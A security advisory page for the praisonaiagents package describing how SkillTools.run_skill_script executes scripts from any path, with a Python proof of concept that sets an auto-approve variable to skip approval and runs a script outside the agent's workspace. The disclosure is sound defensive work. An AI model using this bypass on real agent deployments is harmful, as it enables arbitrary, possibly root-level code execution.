PYSEC-2026-4270
Vulnerability from pysec - Published: 2026-10-15 10:22 - Updated: 2026-10-15 14:38Summary
SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.
Details
src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):
def run_skill_script(self, script_path: str, ...):
script_path = os.path.expanduser(script_path)
if not os.path.isabs(script_path):
script_path = os.path.join(self._working_directory, script_path)
script_path = os.path.abspath(script_path)
if not os.path.exists(script_path):
return f"Error: Script not found at {script_path}"
# No path traversal check, no containment validation
# Directly executes whatever is at that path:
result = subprocess.run(cmd, ...)
By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:
def _validate_path(self, filepath: str) -> str:
# ...
cwd = os.path.abspath(os.getcwd())
if os.path.commonpath([absolute, cwd]) != cwd:
raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
SkillTools has no equivalent check.
PoC
import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools
# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")
# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
f.write("#!/bin/bash\n")
f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
f.write("echo \"USER: $(whoami)\"\n")
f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)
# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
st = SkillTools()
st._working_directory = jail # Pretend we're confined
# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
# PROOF_OF_EXPLOIT: Script executed outside jail
# USER: anushkavirgaonkar
# HOSTNAME: Anushkas-MacBook-Pro-2.local
# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)
Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.
Impact
- Arbitrary script execution: Run any script on the filesystem from any location
- Chaining with file write: Write a malicious script via
write_file(YAML-approvable as a high-risk tool), then execute it viarun_skill_script - Root-level impact in Docker: All PraisonAI Docker containers run as root (no
USERdirective), so an escaped script runs with full root privileges
| Name | purl | praisonaiagents | pkg:pypi/praisonaiagents |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents",
"purl": "pkg:pypi/praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.78"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.100",
"0.0.101",
"0.0.102",
"0.0.103",
"0.0.104",
"0.0.105",
"0.0.106",
"0.0.107",
"0.0.108",
"0.0.109",
"0.0.11",
"0.0.110",
"0.0.111",
"0.0.112",
"0.0.113",
"0.0.114",
"0.0.115",
"0.0.116",
"0.0.117",
"0.0.118",
"0.0.119",
"0.0.12",
"0.0.120",
"0.0.121",
"0.0.122",
"0.0.123",
"0.0.124",
"0.0.125",
"0.0.126",
"0.0.127",
"0.0.128",
"0.0.129",
"0.0.13",
"0.0.130",
"0.0.131",
"0.0.132",
"0.0.133",
"0.0.134",
"0.0.135",
"0.0.136",
"0.0.137",
"0.0.138",
"0.0.139",
"0.0.14",
"0.0.140",
"0.0.141",
"0.0.142",
"0.0.143",
"0.0.144",
"0.0.145",
"0.0.146",
"0.0.147",
"0.0.148",
"0.0.149",
"0.0.15",
"0.0.150",
"0.0.151",
"0.0.152",
"0.0.153",
"0.0.154",
"0.0.155",
"0.0.156",
"0.0.157",
"0.0.158",
"0.0.159",
"0.0.16",
"0.0.160",
"0.0.161",
"0.0.162",
"0.0.163",
"0.0.164",
"0.0.165",
"0.0.166",
"0.0.167",
"0.0.168",
"0.0.169",
"0.0.17",
"0.0.170",
"0.0.171",
"0.0.172",
"0.0.173",
"0.0.174",
"0.0.175",
"0.0.176",
"0.0.177",
"0.0.178",
"0.0.179",
"0.0.18",
"0.0.180",
"0.0.181",
"0.0.182",
"0.0.183",
"0.0.184",
"0.0.185",
"0.0.187",
"0.0.188",
"0.0.189",
"0.0.19",
"0.0.190",
"0.0.191",
"0.0.192",
"0.0.193",
"0.0.194",
"0.0.195",
"0.0.196",
"0.0.197",
"0.0.198",
"0.0.199",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.33",
"0.0.34",
"0.0.35",
"0.0.36",
"0.0.37",
"0.0.38",
"0.0.39",
"0.0.4",
"0.0.40",
"0.0.41",
"0.0.42",
"0.0.43",
"0.0.44",
"0.0.45",
"0.0.46",
"0.0.47",
"0.0.48",
"0.0.49",
"0.0.5",
"0.0.50",
"0.0.51",
"0.0.52",
"0.0.53",
"0.0.54",
"0.0.56",
"0.0.57",
"0.0.58",
"0.0.59",
"0.0.6",
"0.0.60",
"0.0.61",
"0.0.62",
"0.0.63",
"0.0.64",
"0.0.65",
"0.0.66",
"0.0.67",
"0.0.68",
"0.0.69",
"0.0.7",
"0.0.70",
"0.0.71",
"0.0.72",
"0.0.73",
"0.0.74",
"0.0.75",
"0.0.76",
"0.0.77",
"0.0.78",
"0.0.79",
"0.0.8",
"0.0.80",
"0.0.81",
"0.0.82",
"0.0.83",
"0.0.84",
"0.0.85",
"0.0.86",
"0.0.87",
"0.0.88",
"0.0.89",
"0.0.9",
"0.0.90",
"0.0.91",
"0.0.92",
"0.0.93",
"0.0.94",
"0.0.95",
"0.0.96",
"0.0.97",
"0.0.98",
"0.0.99",
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.11",
"0.1.12",
"0.1.13",
"0.1.14",
"0.1.15",
"0.1.16",
"0.1.17",
"0.1.18",
"0.1.19",
"0.1.2",
"0.1.20",
"0.1.21",
"0.1.22",
"0.1.23",
"0.1.24",
"0.1.25",
"0.1.26",
"0.1.27",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"0.10.0",
"0.10.1",
"0.10.10",
"0.10.2",
"0.10.3",
"0.10.4",
"0.10.5",
"0.10.6",
"0.10.7",
"0.10.8",
"0.10.9",
"0.11.0",
"0.11.1",
"0.11.10",
"0.11.11",
"0.11.12",
"0.11.13",
"0.11.14",
"0.11.15",
"0.11.16",
"0.11.17",
"0.11.18",
"0.11.19",
"0.11.2",
"0.11.20",
"0.11.21",
"0.11.22",
"0.11.23",
"0.11.24",
"0.11.25",
"0.11.27",
"0.11.28",
"0.11.29",
"0.11.3",
"0.11.30",
"0.11.31",
"0.11.4",
"0.11.5",
"0.11.6",
"0.11.7",
"0.11.8",
"0.11.9",
"0.12.0",
"0.12.1",
"0.12.10",
"0.12.11",
"0.12.12",
"0.12.13",
"0.12.14",
"0.12.15",
"0.12.16",
"0.12.17",
"0.12.18",
"0.12.19",
"0.12.2",
"0.12.20",
"0.12.21",
"0.12.3",
"0.12.4",
"0.12.5",
"0.12.6",
"0.12.7",
"0.12.8",
"0.12.9",
"0.13.0",
"0.13.1",
"0.13.10",
"0.13.11",
"0.13.12",
"0.13.13",
"0.13.14",
"0.13.15",
"0.13.16",
"0.13.17",
"0.13.18",
"0.13.19",
"0.13.2",
"0.13.20",
"0.13.21",
"0.13.22",
"0.13.23",
"0.13.3",
"0.13.4",
"0.13.5",
"0.13.6",
"0.13.7",
"0.13.8",
"0.13.9",
"0.14.0",
"0.14.1",
"0.14.10",
"0.14.11",
"0.14.12",
"0.14.14",
"0.14.15",
"0.14.16",
"0.14.2",
"0.14.3",
"0.14.4",
"0.14.5",
"0.14.6",
"0.14.7",
"0.14.8",
"0.14.9",
"0.15.0",
"0.15.1",
"0.15.2",
"0.15.3",
"0.2.0",
"0.2.1",
"0.2.2",
"0.3.0",
"0.3.1",
"0.3.2",
"0.3.3",
"0.3.4",
"0.4.0",
"0.4.1",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.6.0",
"0.6.1",
"0.6.2",
"0.6.3",
"0.6.4",
"0.6.5",
"0.6.6",
"0.6.7",
"0.6.8",
"0.7.0",
"0.7.1",
"0.8.0",
"0.8.1",
"0.9.0",
"0.9.1",
"1.0.0",
"1.1.0",
"1.2.0",
"1.2.1",
"1.2.2",
"1.2.3",
"1.2.4",
"1.3.0",
"1.3.1",
"1.4.0",
"1.4.1",
"1.4.2",
"1.4.3",
"1.4.4",
"1.4.5",
"1.4.6",
"1.4.7",
"1.4.8",
"1.5.0",
"1.5.1",
"1.5.10",
"1.5.100",
"1.5.101",
"1.5.102",
"1.5.103",
"1.5.104",
"1.5.105",
"1.5.106",
"1.5.107",
"1.5.108",
"1.5.109",
"1.5.11",
"1.5.110",
"1.5.111",
"1.5.112",
"1.5.113",
"1.5.114",
"1.5.115",
"1.5.116",
"1.5.117",
"1.5.118",
"1.5.119",
"1.5.12",
"1.5.120",
"1.5.121",
"1.5.122",
"1.5.123",
"1.5.124",
"1.5.125",
"1.5.126",
"1.5.127",
"1.5.128",
"1.5.129",
"1.5.13",
"1.5.130",
"1.5.131",
"1.5.132",
"1.5.133",
"1.5.134",
"1.5.135",
"1.5.136",
"1.5.137",
"1.5.138",
"1.5.139",
"1.5.14",
"1.5.140",
"1.5.141",
"1.5.142",
"1.5.143",
"1.5.144",
"1.5.145",
"1.5.146",
"1.5.147",
"1.5.148",
"1.5.149",
"1.5.15",
"1.5.16",
"1.5.17",
"1.5.18",
"1.5.19",
"1.5.2",
"1.5.20",
"1.5.21",
"1.5.22",
"1.5.23",
"1.5.24",
"1.5.25",
"1.5.26",
"1.5.27",
"1.5.28",
"1.5.29",
"1.5.3",
"1.5.30",
"1.5.31",
"1.5.32",
"1.5.33",
"1.5.34",
"1.5.35",
"1.5.36",
"1.5.37",
"1.5.38",
"1.5.39",
"1.5.40",
"1.5.41",
"1.5.42",
"1.5.43",
"1.5.44",
"1.5.45",
"1.5.46",
"1.5.47",
"1.5.48",
"1.5.49",
"1.5.5",
"1.5.50",
"1.5.51",
"1.5.52",
"1.5.53",
"1.5.54",
"1.5.55",
"1.5.56",
"1.5.57",
"1.5.58",
"1.5.59",
"1.5.6",
"1.5.60",
"1.5.61",
"1.5.62",
"1.5.63",
"1.5.64",
"1.5.65",
"1.5.66",
"1.5.67",
"1.5.68",
"1.5.69",
"1.5.7",
"1.5.70",
"1.5.71",
"1.5.72",
"1.5.73",
"1.5.74",
"1.5.75",
"1.5.76",
"1.5.77",
"1.5.78",
"1.5.79",
"1.5.8",
"1.5.80",
"1.5.81",
"1.5.82",
"1.5.83",
"1.5.84",
"1.5.85",
"1.5.86",
"1.5.87",
"1.5.88",
"1.5.89",
"1.5.9",
"1.5.90",
"1.5.91",
"1.5.92",
"1.5.93",
"1.5.94",
"1.5.95",
"1.5.96",
"1.5.97",
"1.5.98",
"1.5.99",
"1.6.1",
"1.6.10",
"1.6.11",
"1.6.12",
"1.6.13",
"1.6.14",
"1.6.15",
"1.6.16",
"1.6.17",
"1.6.18",
"1.6.19",
"1.6.2",
"1.6.20",
"1.6.21",
"1.6.22",
"1.6.23",
"1.6.24",
"1.6.25",
"1.6.26",
"1.6.27",
"1.6.28",
"1.6.29",
"1.6.3",
"1.6.30",
"1.6.31",
"1.6.32",
"1.6.33",
"1.6.34",
"1.6.35",
"1.6.36",
"1.6.37",
"1.6.38",
"1.6.39",
"1.6.4",
"1.6.40",
"1.6.41",
"1.6.42",
"1.6.43",
"1.6.44",
"1.6.45",
"1.6.46",
"1.6.47",
"1.6.48",
"1.6.5",
"1.6.50",
"1.6.51",
"1.6.52",
"1.6.53",
"1.6.54",
"1.6.55",
"1.6.56",
"1.6.57",
"1.6.58",
"1.6.59",
"1.6.6",
"1.6.60",
"1.6.62",
"1.6.63",
"1.6.64",
"1.6.65",
"1.6.66",
"1.6.67",
"1.6.68",
"1.6.69",
"1.6.7",
"1.6.70",
"1.6.71",
"1.6.72",
"1.6.73",
"1.6.74",
"1.6.75",
"1.6.76",
"1.6.77",
"1.6.8",
"1.6.9"
]
}
],
"aliases": [
"CVE-2026-61443",
"GHSA-c44f-37qr-gw3f"
],
"details": "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n script_path = os.path.expanduser(script_path)\n if not os.path.isabs(script_path):\n script_path = os.path.join(self._working_directory, script_path)\n script_path = os.path.abspath(script_path)\n\n if not os.path.exists(script_path):\n return f\"Error: Script not found at {script_path}\"\n\n # No path traversal check, no containment validation\n # Directly executes whatever is at that path:\n result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -\u003e str:\n # ...\n cwd = os.path.abspath(os.getcwd())\n if os.path.commonpath([absolute, cwd]) != cwd:\n raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, \u0027w\u0027) as f:\n f.write(\"#!/bin/bash\\n\")\n f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail # Pretend we\u0027re confined\n\n# Run script from OUTSIDE the jail \u2014 no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n# PROOF_OF_EXPLOIT: Script executed outside jail\n# USER: anushkavirgaonkar\n# HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists \u2014 the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
"id": "PYSEC-2026-4270",
"modified": "2026-10-15T14:38:03.625067Z",
"published": "2026-10-15T10:22:51.005537Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c44f-37qr-gw3f"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.